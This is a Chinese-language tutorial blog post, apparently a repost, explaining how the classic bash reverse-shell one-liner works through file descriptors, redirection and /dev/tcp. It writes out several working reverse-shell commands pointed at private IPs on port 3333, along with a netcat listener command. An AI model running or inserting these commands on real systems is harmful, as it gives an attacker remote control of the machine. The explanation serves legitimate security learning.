bash反彈shell原理和思考


前言

  Linux下,一條bash命令就可以反彈出shell。之前不求甚解的復現,突然有了一個疑問,為什么這樣就能實現shell反彈?又重新學習了一下bash,這是一篇關於bash反彈原理的介紹。

  反彈shell命令如下

  受害者:

bash -i >& /dev/tcp/ip/port 0>&1

  攻擊者

nc -lvp port

反彈 shell 的本質

  接下來依次解釋一下上面兩條命令的意思。

  1.bash -i

  1)bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別

  2)-i (interact)這個參數表示的是產生交互式的shell

  2.>&

  對於這個要先了解Linux下的linux文件描述符的概念,linux shell下有三種標准的文件描述符:

  0是 stdin 代表着標准輸入,使用<或者<<

  1是 stdout 代表着標准輸出,使用>或者>>

  2是 stderr 代表着標准錯誤輸出,因為也是輸出,所以也是>或者>>,但是為了區別std,所以使用2>或2>>。

  在默認的條件下是0。>&符號鏈接在一起就是把輸入重定向的意思。

  3./dev/tcp/ip/port

  對於/dev/tcp/ip/port是特殊設備文件(因為Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據,其作用是讓本機與目標主機通過指定端口建立tcp連接。

   4.0>&1

  最后0>&1(放在>后面的&,表示重定向的目標不是一個文件,而是一個文件描述符)是把前面的輸入重定向給了輸出。

        那么整個 bash -i >& /dev/tcp/ip/port 0>&1就是一個交互性的shell把輸入內容通過socket重定向給了遠端服務器的端口,遠端服務器的輸入又重定向給了輸出,這樣就是實現了一個遠程交互shell。

  5.命令合成

bash -i >/dev/tcp/192.168.80.131/3333
  把bash命令的結果輸入到遠程地址的3333端口進行回顯。
  此時受害者執行的bash命令執行結果會輸出到攻擊者的電腦上,不會在自己的電腦上輸出。
  但是這里有一個問題,攻擊者沒有能夠實現對受害者的控制,攻擊者執行的命令沒法在受害者電腦上執行。
  於是我們似乎還需要一條這樣的指令
bash -i < /dev/tcp/192.168.27.131/3333 
  表示把遠程192.168.27.131的3333端口的輸入信息作為輸入
  此時是攻擊者輸入bash命令,在受害者電腦上輸出,與上面的內容剛好相反
  把兩個場景結合起來
bash -i > /dev/tcp/192.168.80.131/3333 0>&1

  而此時攻擊者的命令還會在受害者電腦上輸出,我們可以用混合輸出(錯誤、正確輸出都輸出到一個地方)解決一下這個問題:

bash -i > /dev/tcp/192.168.80.131/3333 0>&1 2>&1

  當然我們也可以執行與之完全等價的指令

bash -i >& /dev/tcp/192.168.80.131/3333 0>&1
bash -i >& /dev/tcp/192.168.80.131/3333 0<&1

  這里的唯一區別就是 0>&1 和 0<&1 ,其實就是打開方式的不同,而對於這個文件描述符來講並沒有什么區別。

END

  至此,反彈shell的經典語句就分析完了,通過這條語句的分析我們能大致的了解反彈shell的本質,以后碰到其他的反彈shell 的語句也能用類似的分析方法區分析,甚至我們也可以自己舉一反三創造更加絕妙的反彈shell 的語句。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM